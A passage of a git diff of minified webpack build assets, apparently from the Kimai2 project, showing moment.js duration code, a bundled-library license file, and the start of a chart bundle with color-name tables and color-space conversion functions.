gs(e,t,n){return fs(e,t,n,"weekdays")}function vs(e,t,n){return fs(e,t,n,"weekdaysShort")}function Ms(e,t,n){return fs(e,t,n,"weekdaysMin")}hs.calendar=O,hs.longDateFormat=J,hs.invalidDate=$,hs.ordinal=X,hs.preparse=cs,hs.postformat=cs,hs.relativeTime=ee,hs.pastFuture=te,hs.set=E,hs.eras=Si,hs.erasParse=xi,hs.erasConvertYear=Hi,hs.erasAbbrRegex=Ri,hs.erasNameRegex=Oi,hs.erasNarrowRegex=Ai,hs.months=at,hs.monthsShort=ot,hs.monthsParse=ut,hs.monthsRegex=pt,hs.monthsShortRegex=mt,hs.week=bt,hs.firstDayOfYear=St,hs.firstDayOfWeek=kt,hs.weekdays=Nt,hs.weekdaysMin=Wt,hs.weekdaysShort=It,hs.weekdaysParse=Ut,hs.weekdaysRegex=qt,hs.weekdaysShortRegex=$t,hs.weekdaysMinRegex=Zt,hs.isPM=nn,hs.meridiem=an,fn("en",{eras:[{since:"0001-01-01",until:1/0,offset:1,name:"Anno Domini",narrow:"AD",abbr:"AD"},{since:"0000-12-31",until:-1/0,offset:1,name:"Before Christ",narrow:"BC",abbr:"BC"}],dayOfMonthOrdinalParse:/\d{1,2}(th|st|nd|rd)/,ordinal:function(e){var t=e%10;return e+(1===ce(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}}),i.lang=T("moment.lang is deprecated. Use moment.locale instead.",fn),i.langData=T("moment.langData is deprecated. Use moment.localeData instead.",gn);var Ls=Math.abs;function Ds(){var e=this._data;return this._milliseconds=Ls(this._milliseconds),this._days=Ls(this._days),this._months=Ls(this._months),e.milliseconds=Ls(e.milliseconds),e.seconds=Ls(e.seconds),e.minutes=Ls(e.minutes),e.hours=Ls(e.hours),e.months=Ls(e.months),e.years=Ls(e.years),this}function Ys(e,t,n,r){var i=Sr(t,n);return e._milliseconds+=r*i._milliseconds,e._days+=r*i._days,e._months+=r*i._months,e._bubble()}function ws(e,t){return Ys(this,e,t,1)}function bs(e,t){return Ys(this,e,t,-1)}function Ts(e){return e<0?Math.floor(e):Math.ceil(e)}function ks(){var e,t,n,r,i,s=this._milliseconds,a=this._days,o=this._months,d=this._data;return s>=0&&a>=0&&o>=0||s<=0&&a<=0&&o<=0||(s+=864e5*Ts(xs(o)+a),a=0,o=0),d.milliseconds=s%1e3,e=le(s/1e3),d.seconds=e%60,t=le(e/60),d.minutes=t%60,n=le(t/60),d.hours=n%24,a+=le(n/24),o+=i=le(Ss(a)),a-=Ts(xs(i)),r=le(o/12),o%=12,d.days=a,d.months=o,d.years=r,this}function Ss(e){return 4800*e/146097}function xs(e){return 146097*e/4800}function Hs(e){if(!this.isValid())return NaN;var t,n,r=this._milliseconds;if("month"===(e=ie(e))||"quarter"===e||"year"===e)switch(t=this._days+r/864e5,n=this._months+Ss(t),e){case"month":return n;case"quarter":return n/3;case"year":return n/12}else switch(t=this._days+Math.round(xs(this._months)),e){case"week":return t/7+r/6048e5;case"day":return t+r/864e5;case"hour":return 24*t+r/36e5;case"minute":return 1440*t+r/6e4;case"second":return 86400*t+r/1e3;case"millisecond":return Math.floor(864e5*t)+r;default:throw new Error("Unknown unit "+e)}}function Es(){return this.isValid()?this._milliseconds+864e5*this._days+this._months%12*2592e6+31536e6*ce(this._months/12):NaN}function js(e){return function(){return this.as(e)}}var Ps=js("ms"),Cs=js("s"),Os=js("m"),Rs=js("h"),As=js("d"),Fs=js("w"),zs=js("M"),Ns=js("Q"),Is=js("y");function Ws(){return Sr(this)}function Bs(e){return e=ie(e),this.isValid()?this[e+"s"]():NaN}function Us(e){return function(){return this.isValid()?this._data[e]:NaN}}var Gs=Us("milliseconds"),Vs=Us("seconds"),Js=Us("minutes"),qs=Us("hours"),$s=Us("days"),Zs=Us("months"),Ks=Us("years");function Xs(){return le(this.days()/7)}var Qs=Math.round,ea={ss:44,s:45,m:45,h:22,d:26,w:null,M:11};function ta(e,t,n,r,i){return i.relativeTime(t||1,!!n,e,r)}function na(e,t,n,r){var i=Sr(e).abs(),s=Qs(i.as("s")),a=Qs(i.as("m")),o=Qs(i.as("h")),d=Qs(i.as("d")),u=Qs(i.as("M")),l=Qs(i.as("w")),c=Qs(i.as("y")),h=s<=n.ss&&["s",s]||s<n.s&&["ss",s]||a<=1&&["m"]||a<n.m&&["mm",a]||o<=1&&["h"]||o<n.h&&["hh",o]||d<=1&&["d"]||d<n.d&&["dd",d];return null!=n.w&&(h=h||l<=1&&["w"]||l<n.w&&["ww",l]),(h=h||u<=1&&["M"]||u<n.M&&["MM",u]||c<=1&&["y"]||["yy",c])[2]=t,h[3]=+e>0,h[4]=r,ta.apply(null,h)}function ra(e){return void 0===e?Qs:"function"==typeof e&&(Qs=e,!0)}function ia(e,t){return void 0!==ea[e]&&(void 0===t?ea[e]:(ea[e]=t,"s"===e&&(ea.ss=t-1),!0))}function sa(e,t){if(!this.isValid())return this.localeData().invalidDate();var n,r,i=!1,s=ea;return"object"==typeof e&&(t=e,e=!1),"boolean"==typeof e&&(i=e),"object"==typeof t&&(s=Object.assign({},ea,t),null!=t.s&&null==t.ss&&(s.ss=t.s-1)),r=na(this,!i,s,n=this.localeData()),i&&(r=n.pastFuture(+this,r)),n.postformat(r)}var aa=Math.abs;function oa(e){return(e>0)-(e<0)||+e}function da(){if(!this.isValid())return this.localeData().invalidDate();var e,t,n,r,i,s,a,o,d=aa(this._milliseconds)/1e3,u=aa(this._days),l=aa(this._months),c=this.asSeconds();return c?(e=le(d/60),t=le(e/60),d%=60,e%=60,n=le(l/12),l%=12,r=d?d.toFixed(3).replace(/\.?0+$/,""):"",i=c<0?"-":"",s=oa(this._months)!==oa(c)?"-":"",a=oa(this._days)!==oa(c)?"-":"",o=oa(this._milliseconds)!==oa(c)?"-":"",i+"P"+(n?s+n+"Y":"")+(l?s+l+"M":"")+(u?a+u+"D":"")+(t||e||d?"T":"")+(t?o+t+"H":"")+(e?o+e+"M":"")+(d?o+r+"S":"")):"P0D"}var ua=ar.prototype;return ua.isValid=ir,ua.abs=Ds,ua.add=ws,ua.subtract=bs,ua.as=Hs,ua.asMilliseconds=Ps,ua.asSeconds=Cs,ua.asMinutes=Os,ua.asHours=Rs,ua.asDays=As,ua.asWeeks=Fs,ua.asMonths=zs,ua.asQuarters=Ns,ua.asYears=Is,ua.valueOf=Es,ua._bubble=ks,ua.clone=Ws,ua.get=Bs,ua.milliseconds=Gs,ua.seconds=Vs,ua.minutes=Js,ua.hours=qs,ua.days=$s,ua.weeks=Xs,ua.months=Zs,ua.years=Ks,ua.humanize=sa,ua.toISOString=da,ua.toString=da,ua.toJSON=da,ua.locale=ai,ua.localeData=di,ua.toIsoString=T("toIsoString() is deprecated. Please use toISOString() instead (notice the capitals)",da),ua.lang=oi,I("X",0,0,"unix"),I("x",0,0,"valueOf"),Oe("x",He),Oe("X",Pe),Ne("X",(function(e,t,n){n._d=new Date(1e3*parseFloat(e))})),Ne("x",(function(e,t,n){n._d=new Date(ce(e))})),i.version="2.29.1",s($n),i.fn=ds,i.min=Qn,i.max=er,i.now=tr,i.utc=f,i.unix=us,i.months=_s,i.isDate=h,i.locale=fn,i.invalid=v,i.duration=Sr,i.isMoment=w,i.weekdays=gs,i.parseZone=ls,i.localeData=gn,i.isDuration=or,i.monthsShort=ys,i.weekdaysMin=Ms,i.defineLocale=_n,i.updateLocale=yn,i.locales=vn,i.weekdaysShort=vs,i.normalizeUnits=ie,i.relativeTimeRounding=ra,i.relativeTimeThreshold=ia,i.calendarFormat=Ir,i.prototype=ds,i.HTML5_FMT={DATETIME_LOCAL:"YYYY-MM-DDTHH:mm",DATETIME_LOCAL_SECONDS:"YYYY-MM-DDTHH:mm:ss",DATETIME_LOCAL_MS:"YYYY-MM-DDTHH:mm:ss.SSS",DATE:"YYYY-MM-DD",TIME:"HH:mm",TIME_SECONDS:"HH:mm:ss",TIME_MS:"HH:mm:ss.SSS",WEEK:"GGGG-[W]WW",MONTH:"YYYY-MM"},i}()}},function(e){"use strict";var t;t=1191,e(e.s=t)}]);
\ No newline at end of file
diff --git a/public/build/calendar.6260174b.js.LICENSE.txt b/public/build/calendar.6260174b.js.LICENSE.txt
new file mode 100644
index 0000000000..f3b098a514
--- /dev/null
+++ b/public/build/calendar.6260174b.js.LICENSE.txt
@@ -0,0 +1,79 @@
+/*!
+ * FullCalendar v3.10.2
+ * Docs & License: https://fullcalendar.io/
+ * (c) 2019 Adam Shaw
+ */
+
+/*!
+ * Sizzle CSS Selector Engine v2.3.5
+ * https://sizzlejs.com/
+ *
+ * Copyright JS Foundation and other contributors
+ * Released under the MIT license
+ * https://js.foundation/
+ *
+ * Date: 2020-03-14
+ */
+
+/*!
+ * jQuery JavaScript Library v3.5.1
+ * https://jquery.com/
+ *
+ * Includes Sizzle.js
+ * https://sizzlejs.com/
+ *
+ * Copyright JS Foundation and other contributors
+ * Released under the MIT license
+ * https://jquery.org/license
+ *
+ * Date: 2020-05-04T22:49Z
+ */
+
+/*!
+ * jQuery UI :data 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Draggable 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Mouse 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Scroll Parent 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+/*!
+ * jQuery UI Widget 1.12.1
+ * http://jqueryui.com
+ *
+ * Copyright jQuery Foundation and other contributors
+ * Released under the MIT license.
+ * http://jquery.org/license
+ */
+
+//! moment.js
+
+//! moment.js locale configuration
diff --git a/public/build/chart.34d60a88.js b/public/build/chart.34d60a88.js
deleted file mode 100644
index 5bb26695f3..0000000000
--- a/public/build/chart.34d60a88.js
+++ /dev/null
@@ -1 +0,0 @@
-(window.webpackJsonp=window.webpackJsonp||[]).push([["chart"],{"3JjE":function(n,w,o){o("JVhT")}},[["3JjE","runtime",0,2]]]);
\ No newline at end of file
diff --git a/public/build/chart.e845e930.js b/public/build/chart.e845e930.js
new file mode 100644
index 0000000000..127dbf15a9
--- /dev/null
+++ b/public/build/chart.e845e930.js
@@ -0,0 +1,2 @@
+/*! For license information please see chart.e845e930.js.LICENSE.txt */
+(self.webpackChunkkimai2=self.webpackChunkkimai2||[]).push([[164],{3582:function(e,t,a){a(2037)},2037:function(e,t,a){e.exports=function(e){"use strict";e=e&&e.hasOwnProperty("default")?e.default:e;var t={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},a=function(e,t){return e(t={exports:{}},t.exports),t.exports}((function(e){var a={};for(var n in t)t.hasOwnProperty(n)&&(a[t[n]]=n);var i=e.exports={rgb:{channels:3,labels:"rgb"},hsl:{channels:3,labels:"hsl"},hsv:{channels:3,labels:"hsv"},hwb:{channels:3,labels:"hwb"},cmyk:{channels:4,labels:"cmyk"},xyz:{channels:3,labels:"xyz"},lab:{channels:3,labels:"lab"},lch:{channels:3,labels:"lch"},hex:{channels:1,labels:["hex"]},keyword:{channels:1,labels:["keyword"]},ansi16:{channels:1,labels:["ansi16"]},ansi256:{channels:1,labels:["ansi256"]},hcg:{channels:3,labels:["h","c","g"]},apple:{channels:3,labels:["r16","g16","b16"]},gray:{channels:1,labels:["gray"]}};for(var r in i)if(i.hasOwnProperty(r)){if(!("channels"in i[r]))throw new Error("missing channels property: "+r);if(!("labels"in i[r]))throw new Error("missing channel labels property: "+r);if(i[r].labels.length!==i[r].channels)throw new Error("channel and label counts mismatch: "+r);var s=i[r].channels,o=i[r].labels;delete i[r].channels,delete i[r].labels,Object.defineProperty(i[r],"channels",{value:s}),Object.defineProperty(i[r],"labels",{value:o})}i.rgb.hsl=function(e){var t,a,n=e[0]/255,i=e[1]/255,r=e[2]/255,s=Math.min(n,i,r),o=Math.max(n,i,r),d=o-s;return o===s?t=0:n===o?t=(i-r)/d:i===o?t=2+(r-n)/d:r===o&&(t=4+(n-i)/d),(t=Math.min(60*t,360))<0&&(t+=360),a=(s+o)/2,[t,100*(o===s?0:a<=.5?d/(o+s):d/(2-o-s)),100*a]},i.rgb.hsv=function(e){var t,a,n,i,r,s=e[0]/255,o=e[1]/255,d=e[2]/255,l=Math.max(s,o,d),u=l-Math.min(s,o,d),_=function(e){return(l-e)/6/u+.5};return 0===u?i=r=0:(r=u/l,t=_(s),a=_(o),n=_(d),s===l?i=n-a:o===l?i=1/3+t-n:d===l&&(i=2/3+a-t),i<0?i+=1:i>1&&(i-=1)),[360*i,100*r,100*l]},i.rgb.hwb=function(e){var t=e[0],a=e[1],n=e[2];return[i.rgb.hsl(e)[0],1/255*Math.min(t,Math.min(a,n))*100,100*(n=1-1/255*Math.max(t,Math.max(a,n)))]},i.rgb.cmyk=function(e){var t,a=e[0]/255,n=e[1]/255,i=e[2]/255;return[100*((1-a-(t=Math.min(1-a,1-n,1-i)))/(1-t)||0),100*((1-n-t)/(1-t)||0),100*((1-i-t)/(1-t)||0),100*t]},i.rgb.keyword=function(e){var n=a[e];if(n)return n;var i,r,s,o=1/0;for(var d in t)if(t.hasOwnProperty(d)){var l=(r=e,s=t[d],Math.pow(r[0]-s[0],2)+Math.pow(r[1]-s[1],2)+Math.pow(r[2]-s[2],2));l<o&&(o=l,i=d)}return i},i.keyword.rgb=function(e){return t[e]},i.rgb.xyz=function(e){var t=e[0]/255,a=e[1]/255,n=e[2]/255;return[100*(.4124*(t=t>.04045?Math.pow((t+.055)/1.055,2.4):t/12.92)+.3576*(a=a>.04045?Math.pow((a+.055)/1.055,2.4):a/12.92)+.1805*(n=n>.04045?Math.pow((n+.055)/1.055,2.4):n/12.92)),100*(.2126*t+.7152*a+.0722*n),100*(.0193*t+.1192*a+.9505*n)]},i.rgb.lab=function(e){var t=i.rgb.xyz(e),a=t[0],n=t[1],r=t[2];return n/=100,r/=108.883,a=(a/=95.047)>.008856?Math.pow(a,1/3):7.787*a+16/116,[116*(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116)-16,500*(a-n),200*(n-(r=r>.008856?Math.pow(r,1/3):7.787*r+16/116))]},i.hsl.rgb=function(e){var t,a,n,i,r,s=e[0]/360,o=e[1]/100,d=e[2]/100;if(0===o)return[r=255*d,r,r];t=2*d-(a=d<.5?d*(1+o):d+o-d*o),i=[0,0,0];for(var l=0;l<3;l++)(n=s+1/3*-(l-1))<0&&n++,n>1&&n--,r=6*n<1?t+6*(a-t)*n:2*n<1?a:3*n<2?t+(a-t)*(2/3-n)*6:t,i[l]=255*r;return i},i.hsl.hsv=function(e){var t=e[0],a=e[1]/100,n=e[2]/100,i=a,r=Math.max(n,.01);return a*=(n*=2)<=1?n:2-n,i*=r<=1?r:2-r,[t,100*(0===n?2*i/(r+i):2*a/(n+a)),(n+a)/2*100]},i.hsv.rgb=function(e){var t=e[0]/60,a=e[1]/100,n=e[2]/100,i=Math.floor(t)%6,r=t-Math.floor(t),s=255*n*(1-a),o=255*n*(1-a*r),d=255*n*(1-a*(1-r));switch(n*=255,i){case 0:return[n,d,s];case 1:return[o,n,s];case 2:return[s,n,d];case 3:return[s,o,n];case 4:return[d,s,n];case 5:return[n,s,o]}},i.hsv.hsl=function(e){var t,a,n,i=e[0],r=e[1]/100,s=e[2]/100,o=Math.max(s,.01);return n=(2-r)*s,a=r*o,[i,100*(a=(a/=(t=(2-r)*o)<=1?t:2-t)||0),100*(n/=2)]},i.hwb.rgb=function(e){var t,a,n,i,r,s,o,d=e[0]/360,l=e[1]/100,u=e[2]/100,_=l+u;switch(_>1&&(l/=_,u/=_),n=6*d-(t=Math.floor(6*d)),0!=(1&t)&&(n=1-n),i=l+n*((a=1-u)-l),t){default:case 6:case 0:r=a,s=i,o=l;break;case 1:r=i,s=a,o=l;break;case 2:r=l,s=a,o=i;break;case 3:r=l,s=i,o=a;break;case 4:r=i,s=l,o=a;break;case 5:r=a,s=l,o=i}return[255*r,255*s,255*o]},i.cmyk.rgb=function(e){var t=e[0]/100,a=e[1]/100,n=e[2]/100,i=e[3]/100;return[255*(1-Math.min(1,t*(1-i)+i)),255*(1-Math.min(1,a*(1-i)+i)),255*(1-Math.min(1,n*(1-i)+i))]},i.xyz.rgb=function(e){var t,a,n,i=e[0]/100,r=e[1]/100,s=e[2]/100;return a=-.9689*i+1.8758*r+.0415*s,n=.0557*i+-.204*r+1.057*s,t=(t=3.2406*i+-1.5372*r+-.4986*s)>.0031308?1.055*Math.pow(t,1/2.4)-.055:12.92*t,a=a>.0031308?1.055*Math.pow(a,1/2.4)-.055:12.92*a,n=n>.0031308?1.055*Math.pow(n,1/2.4)-.055:12.92*n,[255*(t=Math.min(Math.max(0,t),1)),255*(a=Math.min(Math.max(0,a),1)),255*(n=Math.min(Math.max(0,n),1))]},i.xyz.lab=function(e){var t=e[0],a=e[1],n=e[2];return a/=100,n/=108.883,t=(t/=95.047)>.008856?Math.pow(t,1/3):7.787*t+16/116,[116*(a=a>.008856?Math.pow(a,1/3):7.787*a+16/116)-16,500*(t-a),200*(a-(n=n>.008856?Math.pow(n,1/3):7.787*n+16/116))]},i.lab.xyz=function(e){var t,a,n,i=e[0];t=e[1]/500+(a=(i+16)/116),n=a-e[2]/200;var r=Math.pow(a,3),s=Math.pow(t,3),o=Math.pow(n,3);return a=r>.008856?r:(a-16/116)/7.787,t=s>.008856?s:(t-16/116)/7.787,n=o>.008856?o:(n-16/116)/7.787,[t*=95.047,a*=100,n*=108.883]},i.lab.lch=function(e){var t,a=e[0],n=e[1],i=e[2];return(t=360*Math.atan2(i,n)/2/Math.PI)<0&&(t+=360),[a,Math.sqrt(n*n+i*i),t]},i.lch.lab=function(e){var t,a=e[0],n=e[1];return t=e[2]/360*2*Math.PI,[a,n*Math.cos(t),n*Math.sin(t)]},i.rgb.ansi16=function(e){var t=e[0],a=e[1],n=e[2],r=1 in arguments?arguments[1]:i.rgb.hsv(e)[2];if(0===(r=Math.round(r/50)))return 30;var s=30+(Math.round(n/255)<<2|Math.round(a/255)<<1|Math.round(t/255));return 2===r&&(s+=60),s},i.hsv.ansi16=function(e){return i.rgb.ansi16(i.hsv.rgb(e),e[2])},i.rgb.ansi256=function(e){var t=e[0],a=e[1],n=e[2];return t===a&&a===n?t<8?16:t>248?231:Math.round((t-8)/247*24)+232:16+36*Math.round(t/255*5)+6*Math.round(a/255*5)+Math.round(n/255*5)},i.ansi16.rgb=function(e){var t=e%10;if(0===t||7===t)return e>50&&(t+=3.5),[t=t/10.5*255,t,t];var a=.5*(1+~~(e>50));return[(1&t)*a*255,(t>>1&1)*a*255,(t>>2&1)*a*255]},i.ansi256.rgb=function(e){if(e>=232){var t=10*(e-232)+8;return[t,t,t]}var a;return e-=16,[Math.floor(e/36)/5*255,Math.floor((a=e%36)/6)/5*255,a%6/5*255]},i.rgb.hex=function(e){var t=(((255&Math.round(e[0]))<<16)+((255&Math.round(e[1]))<<8)+(255&Math.round(e[2]))).toString(16).toUpperCase();return"000000".substring(t.length)+t},i.hex.rgb=function(e){var t=e.toString(16).match(/[a-f0-9]{6}|[a-f0-9]{3}/i);if(!t)return[0,0,0];var a=t[0];3===t[0].length&&(a=a.split("").map((function(e){return e+e})).join(""));var n=parseInt(a,16);return[n>>16&255,n>>8&255,255&n]},i.rgb.hcg=function(e){var t,a=e[0]/255,n=e[1]/255,i=e[2]/255,r=Math.max(Math.max(a,n),i),s=Math.min(Math.min(a,n),i),o=r-s;return t=o<=0?0:r===a?(n-i)/o%6:r===n?2+(i-a)/o:4+(a-n)/o+4,t/=6,[360*(t%=1),100*o,100*(o<1?s/(1-o):0)]},i.hsl.hcg=function(e){var t=e[1]/100,a=e[2]/100,n=1,i=0;return(n=a<.5?2*t*a:2*t*(1-a))<1&&(i=(a-.5*n)/(1-n)),[e[0],100*n,100*i]},i.hsv.hcg=function(e){var t=e[1]/100,a=e[2]/100,n=t*a,i=0;return n<1&&(i=(a-n)/(1-n)),[e[0],100*n,100*i]},i.hcg.rgb=function(e){var t=e[0]/360,a=e[1]/100,n=e[2]/100;if(0===a)return[255*n,255*n,255*n];var i,r=[0,0,0],s=t%1*6,o=s%1,d=1-o;switch(Math.floor(s)){case 0:r[0]=1,r[1]=o,r[2]=0;break;case 1:r[0]=d,r[1]=1,r[2]=0;break;case 2:r[0]=0,r[1]=1,r[2]=o;break;case 3:r[0]=0,r[1]=d,r[2]=1;break;case 4:r[0]=o,r[1]=0,r[2]=1;break;default:r[0]=1,r[1]=0,r[2]=d}return i=(1-a)*n,[255*(a*r[0]+i),255*(a*r[1]+i),255*(a*r[2]+i)]},i.hcg.hsv=function(e){var t=e[1]/100,a=t+e[2]/100*(1-t),n=0;return a>0&&(n=t/a),[e[0],100*n,100*a]},i.hcg.hsl=function(e){var t=e[1]/100,a=e[2]/100*(1-t)+.5*t,n=0;return a>0&&a<.5?n=t/(2*a):a>=.5&&a<1&&(n=t/(2*(1-a))),[e[0],100*n,100*a]},i.hcg.hwb=function(e){var t=e[1]/100,a=t+e[2]/100*(1-t);return[e[0],100*(a-t),100*(1-a)]},i.hwb.hcg=function(e){var t=e[1]/100,a=1-e[2]/100,n=a-t,i=0;return n<1&&(i=(a-n)/(1-n)),[e[0],100*n,100*i]},i.apple.rgb=function(e){return[e[0]/65535*255,e[1]/65535*255,e[2]/65535*255]},i.rgb.apple=function(e){return[e[0]/255*65535,e[1]/255*65535,e[2]/255*65535]},i.gray.rgb=function(e){return[e[0]/100*255,e[0]/100*255,e[0]/100*255]},i.gray.hsl=i.gray.hsv=function(e){return[0,0,e[0]]},i.gray.hwb=function(e){return[0,100,e[0]]},i.gray.cmyk=function(e){return[0,0,0,e[0]]},i.gray.lab=function(e){return[e[0],0,0]},i.gray.hex=function(e){var t=255&Math.round(e[0]/100*255),a=((t<<16)+(t<<8)+t).toString(16).toUpperCase();return"000000".substring(a.length)+a},i.rgb.gray=function(e){return[(e[0]+e[1]+e[2])/3/255*100]}}));function n(e){var t=function(){for(var e={},t=Object.keys(a),n=t.length,i=0;i<n;i++)e[t[i]]={distance:-1,parent:null};return e}(),n=[e];for(t[e].distance=0;n.length;)for(var i=n.pop(),r=Object.keys(a[i]),s=r.length,o=0;o<s;o++){var d=r[o],l=t[d];-1===l.distance&&(l.distance=t[i].distance+1,l.parent=i,n.unshift(d))}return t}function i(e,t){return function(a){return t(e(a))}}function r(e,t){for(var n=[t[e].parent,e],r=a[t[e].parent][e],s=t[e].parent;t[s].parent;)n.unshift(t[s].parent),r=i(a[t[s].parent][s],r),s=t[s].parent;return r.conversion=n,r}a.rgb,a.hsl,a.hsv,a.hwb,a.cmyk,a.xyz,a.lab,a.lch,a.hex,a.keyword,a.ansi16,a.ansi256,a.hcg,a.apple,a.gray;var s={};Object.keys(a).forEach((function(e){s[e]={},Object.defineProperty(s[e],"channels",{value:a[e].channels}),Object.defineProperty(s[e],"labels",{value:a[e].labels});var t=function(e){for(var t=n(e),a={},i=Object.keys(t),s=i.length,o=0;o<s;o++){var d=i[o];null!==t[d].parent&&(a[d]=r(d,t))}return a}(e);Object.keys(t).forEach((function(a){var n=t[a];s[e][a]=function(e){var t=function(t){if(null==t)return t;arguments.length>1&&(t=Array.prototype.slice.call(arguments));var a=e(t);if("object"==typeof a)for(var n=a.length,i=0;i<n;i++)a[i]=Math.round(a[i]);return a};return"conversion"in e&&(t.conversion=e.conversion),t}(n),s[e][a].raw=function(e){var t=function(t){return null==t?t:(arguments.length>1&&(t=Array.prototype.slice.call(arguments)),e(t))};return"conversion"in e&&(t.conversion=e.conversion),t}(n)}))}));var o=s,d={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,1